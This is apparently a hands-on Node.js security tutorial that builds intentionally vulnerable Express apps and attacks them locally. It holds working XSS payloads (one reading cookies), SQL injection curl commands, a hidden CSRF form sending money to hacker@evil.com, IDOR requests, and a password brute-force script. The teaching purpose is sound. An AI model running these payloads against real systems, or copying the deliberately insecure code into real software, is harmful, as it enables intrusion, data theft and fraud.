Node.js Security

Create a file called xss-vulnerable.js:

Copy// xss-vulnerable.js - VULNERABLE SERVER (for learning only!)
const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: true }));

// Store comments (in-memory for demo)
const comments = [];

app.get('/', (req, res) => {
  let html = `
    <h1>Guestbook (Vulnerable!)</h1>
    <form method="POST" action="/comment">
      <input name="name" placeholder="Your name" />
      <input name="comment" placeholder="Your comment" />
      <button>Post</button>
    </form>
    <h2>Comments:</h2>
  `;
  
  // ❌ VULNERABLE: Rendering user input without escaping!
  comments.forEach(c => {
    html += `<p><strong>${c.name}:</strong> ${c.comment}</p>`;
  });
  
  res.send(html);
});

app.post('/comment', (req, res) => {
  comments.push({ name: req.body.name, comment: req.body.comment });
  res.redirect('/');
});

app.listen(3000, () => console.log('Vulnerable server: http://localhost:3000'));

Copynpm init -y
npm install express
node xss-vulnerable.js

Open http://localhost:3000 in your browser.

In the comment form, try these payloads:

Copy<script>alert('XSS!')</script>

Copy<script>alert('Your cookies: ' + document.cookie)</script>

Copy<img src="x" onerror="alert('XSS via img tag!')">

Copy<script>document.body.innerHTML='<h1>HACKED!</h1>'</script>

After posting, refresh the page. You'll see the JavaScript execute! Every visitor to this page will now run your malicious code.

Create a file called sqli-vulnerable.js:

Copy// sqli-vulnerable.js - VULNERABLE SERVER (for learning only!)
const express = require('express');
const Database = require('better-sqlite3');

const app = express();
app.use(express.json());

// Create in-memory database with sample users
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT, password TEXT, role TEXT);
  INSERT INTO users VALUES (1, 'admin@example.com', 'supersecret123', 'admin');
  INSERT INTO users VALUES (2, 'user@example.com', 'password123', 'user');
  INSERT INTO users VALUES (3, 'bob@example.com', 'bobpass', 'user');
  
  CREATE TABLE secrets (id INTEGER PRIMARY KEY, content TEXT);
  INSERT INTO secrets VALUES (1, 'The launch codes are: 1234-ABCD');
  INSERT INTO secrets VALUES (2, 'CEO salary: $5,000,000');
`);

// ❌ VULNERABLE: String concatenation in SQL query!
app.post('/login', (req, res) => {
  const { email, password } = req.body;
  
  // This is the vulnerable line!
  const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
  
  console.log('Executing:', query); // Shows the actual query
  
  try {
    const user = db.prepare(query).get();
    if (user) {
      res.json({ success: true, user: { id: user.id, email: user.email, role: user.role } });
    } else {
      res.status(401).json({ error: 'Invalid credentials' });
    }
  } catch (e) {
    res.status(500).json({ error: e.message });
  }
});

// ❌ VULNERABLE: Search endpoint
app.get('/search', (req, res) => {
  const { email } = req.query;
  const query = `SELECT id, email, role FROM users WHERE email LIKE '%${email}%'`;
  
  console.log('Executing:', query);
  
  try {
    const users = db.prepare(query).all();
    res.json(users);
  } catch (e) {
    res.status(500).json({ error: e.message });
  }
});

app.listen(3000, () => console.log('Vulnerable server: http://localhost:3000'));

Copynpm init -y
npm install express better-sqlite3
node sqli-vulnerable.js

Open a new terminal and try these attacks with curl:

Copy# Login without knowing the password!
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@example.com", "password": "' OR '1'='1"}'

Copy# Get all users from the search endpoint
curl "http://localhost:3000/search?email=' OR '1'='1"

Copy# Steal data from the "secrets" table!
curl "http://localhost:3000/search?email=' UNION SELECT id, content, 'hacked' FROM secrets--"

Copy# Login as admin without ANY password check
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@example.com'--", "password": "anything"}'

Look at your server terminal to see the actual SQL queries being executed. You'll see exactly how the injection works!

Create bank-vulnerable.js:

Copy// bank-vulnerable.js - VULNERABLE "BANK" (for learning only!)
const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());

// Fake user data
let balance = 10000;
let transactions = [];

// Simple session simulation
app.use((req, res, next) => {
  if (req.cookies.session === 'logged-in') {
    req.user = { name: 'Alice' };
  }
  next();
});

app.get('/', (req, res) => {
  if (!req.user) {
    return res.send(`
      <h1>Bank Login</h1>
      <form method="POST" action="/login">
        <button>Login as Alice</button>
      </form>
    `);
  }
  
  res.send(`
    <h1>Welcome, ${req.user.name}!</h1>
    <p>Balance: $${balance}</p>
    <h2>Transfer Money</h2>
    <form method="POST" action="/transfer">
      <input name="to" placeholder="Recipient" />
      <input name="amount" type="number" placeholder="Amount" />
      <button>Transfer</button>
    </form>
    <h3>Recent Transactions:</h3>
    <ul>${transactions.map(t => `<li>${t}</li>`).join('')}</ul>
  `);
});

app.post('/login', (req, res) => {
  res.cookie('session', 'logged-in'); // ❌ No SameSite!
  res.redirect('/');
});

// ❌ VULNERABLE: No CSRF protection!
app.post('/transfer', (req, res) => {
  if (!req.user) return res.status(401).send('Not logged in');
  
  const { to, amount } = req.body;
  const amt = parseInt(amount);
  
  if (amt > 0 && amt <= balance) {
    balance -= amt;
    transactions.push(`Sent $${amt} to ${to}`);
    console.log(`💰 Transfer: $${amt} to ${to}`);
  }
  
  res.redirect('/');
});

app.listen(3000, () => console.log('Bank server: http://localhost:3000'));

Create evil-site.js:

Copy// evil-site.js - Attacker's website
const express = require('express');
const app = express();

app.get('/', (req, res) => {
  res.send(`
    <h1>🎉 You won a FREE iPhone! 🎉</h1>
    <p>Click the button to claim your prize!</p>
    <button onclick="document.getElementById('csrf').submit()">
      Claim Prize!
    </button>
    
    <!-- Hidden form that attacks the bank -->
    <form id="csrf" action="http://localhost:3000/transfer" method="POST" style="display:none">
      <input name="to" value="hacker@evil.com" />
      <input name="amount" value="5000" />
    </form>
    
    <p style="color: #666; font-size: 12px;">
      (This page secretly submits a form to the bank!)
    </p>
  `);
});

app.listen(4000, () => console.log('Evil site: http://localhost:4000'));

Copy# Terminal 1: Run the bank
npm install express cookie-parser
node bank-vulnerable.js

# Terminal 2: Run the evil site
node evil-site.js

1. Open http://localhost:3000 and login as Alice
2. Note your balance: $10,000
3. While still logged in, open http://localhost:4000 in another tab
4. Click "Claim Prize!"
5. Go back to the bank tab and refresh
6. 💀 Your balance is now $5,000! The attacker stole $5,000!

Create idor-vulnerable.js:

Copy// idor-vulnerable.js - VULNERABLE API (for learning only!)
const express = require('express');
const app = express();
app.use(express.json());

// Simulated database
const users = [
  { id: 1, name: 'Alice', email: 'alice@company.com', salary: 75000, ssn: '123-45-6789' },
  { id: 2, name: 'Bob', email: 'bob@company.com', salary: 85000, ssn: '987-65-4321' },
  { id: 3, name: 'Charlie (CEO)', email: 'ceo@company.com', salary: 500000, ssn: '111-22-3333' },
];

const orders = [
  { id: 101, userId: 1, product: 'Laptop', total: 1299, card: '**** **** **** 1234' },
  { id: 102, userId: 2, product: 'Phone', total: 999, card: '**** **** **** 5678' },
  { id: 103, userId: 3, product: 'Yacht', total: 2500000, card: '**** **** **** 9999' },
];

// Simulate login - header contains user ID (simplified)
function getLoggedInUser(req) {
  const userId = parseInt(req.headers['x-user-id']) || 1;
  return users.find(u => u.id === userId);
}

// ❌ VULNERABLE: Returns ANY user's data!
app.get('/api/users/:id', (req, res) => {
  const user = users.find(u => u.id === parseInt(req.params.id));
  if (!user) return res.status(404).json({ error: 'User not found' });
  // No check if logged-in user can access this!
  res.json(user);
});

// ❌ VULNERABLE: Returns ANY order's data!
app.get('/api/orders/:id', (req, res) => {
  const order = orders.find(o => o.id === parseInt(req.params.id));
  if (!order) return res.status(404).json({ error: 'Order not found' });
  // No check if this order belongs to the user!
  res.json(order);
});

// ❌ VULNERABLE: Can delete ANY user!
app.delete('/api/users/:id', (req, res) => {
  const idx = users.findIndex(u => u.id === parseInt(req.params.id));
  if (idx === -1) return res.status(404).json({ error: 'User not found' });
  users.splice(idx, 1);
  res.json({ message: 'User deleted' });
});

app.listen(3000, () => console.log('API: http://localhost:3000'));

Copynpm install express
node idor-vulnerable.js

Pretend you're user 1 (Alice) and try to access other users' data:

Copycurl http://localhost:3000/api/users/1 -H "X-User-Id: 1"

Copy# Still logged in as user 1, but accessing user 2's data!
curl http://localhost:3000/api/users/2 -H "X-User-Id: 1"

# Access CEO's sensitive data!
curl http://localhost:3000/api/users/3 -H "X-User-Id: 1"

Copy# Try sequential IDs to find all orders
curl http://localhost:3000/api/orders/101
curl http://localhost:3000/api/orders/102
curl http://localhost:3000/api/orders/103

Copy# As user 1, delete user 2!
curl -X DELETE http://localhost:3000/api/users/2 -H "X-User-Id: 1"

# Verify Bob is gone
curl http://localhost:3000/api/users/2

Create login-vulnerable.js:

Copy// login-vulnerable.js - NO RATE LIMITING (vulnerable!)
const express = require('express');
const app = express();

app.use(express.json());

// Fake user database
const users = {
  'admin@company.com': { password: 'password123', role: 'admin' },
  'alice@company.com': { password: 'letmein', role: 'user' }
};

// Track login attempts for logging
let attempts = 0;

// ❌ VULNERABLE: No rate limiting!
app.post('/login', (req, res) => {
  attempts++;
  const { email, password } = req.body;
  
  const user = users[email];
  
  if (user && user.password === password) {
    console.log(`✅ Attempt #${attempts}: SUCCESS - ${email}`);
    res.json({ success: true, message: 'Login successful!', role: user.role });
  } else {
    console.log(`❌ Attempt #${attempts}: FAILED - ${email}:${password}`);
    res.status(401).json({ success: false, message: 'Invalid credentials' });
  }
});

app.get('/attempts', (req, res) => {
  res.json({ totalAttempts: attempts });
});

app.listen(3000, () => {
  console.log('Vulnerable login server: http://localhost:3000');
  console.log('⚠️  NO RATE LIMITING - Ready for brute force!');
});

Create passwords.txt with common passwords:

Copy123456
password
password123
letmein
admin
qwerty
12345678
welcome
monkey
dragon

Create bruteforce.js:

Copy// bruteforce.js - Password cracking script
const fs = require('fs');

async function bruteforce(email) {
  const passwords = fs.readFileSync('passwords.txt', 'utf8')
    .split('\n')
    .filter(p => p.trim());
  
  console.log(`🔓 Starting brute force on: ${email}`);
  console.log(`📋 Trying ${passwords.length} passwords...\n`);
  
  for (const password of passwords) {
    try {
      const res = await fetch('http://localhost:3000/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ email, password })
      });
      
      const data = await res.json();
      
      if (data.success) {
        console.log(`\n🎉 PASSWORD FOUND!`);
        console.log(`   Email: ${email}`);
        console.log(`   Password: ${password}`);
        console.log(`   Role: ${data.role}`);
        return;
      }
    } catch (err) {
      console.log('Connection error', err.message);
    }
  }
  
  console.log('❌ Password not found in wordlist');
}

// Attack the admin account!
bruteforce('admin@company.com');

In Terminal 1 - start the vulnerable server:

Copynode login-vulnerable.js

In Terminal 2 - launch the brute force attack:

Copynode bruteforce.js

Watch the server terminal - you'll see rapid-fire login attempts:

❌ Attempt #1: FAILED - admin@company.com:123456
❌ Attempt #2: FAILED - admin@company.com:password
✅ Attempt #3: SUCCESS - admin@company.com

🎉 PASSWORD FOUND!
   Email: admin@company.com
   Password: password123
   Role: admin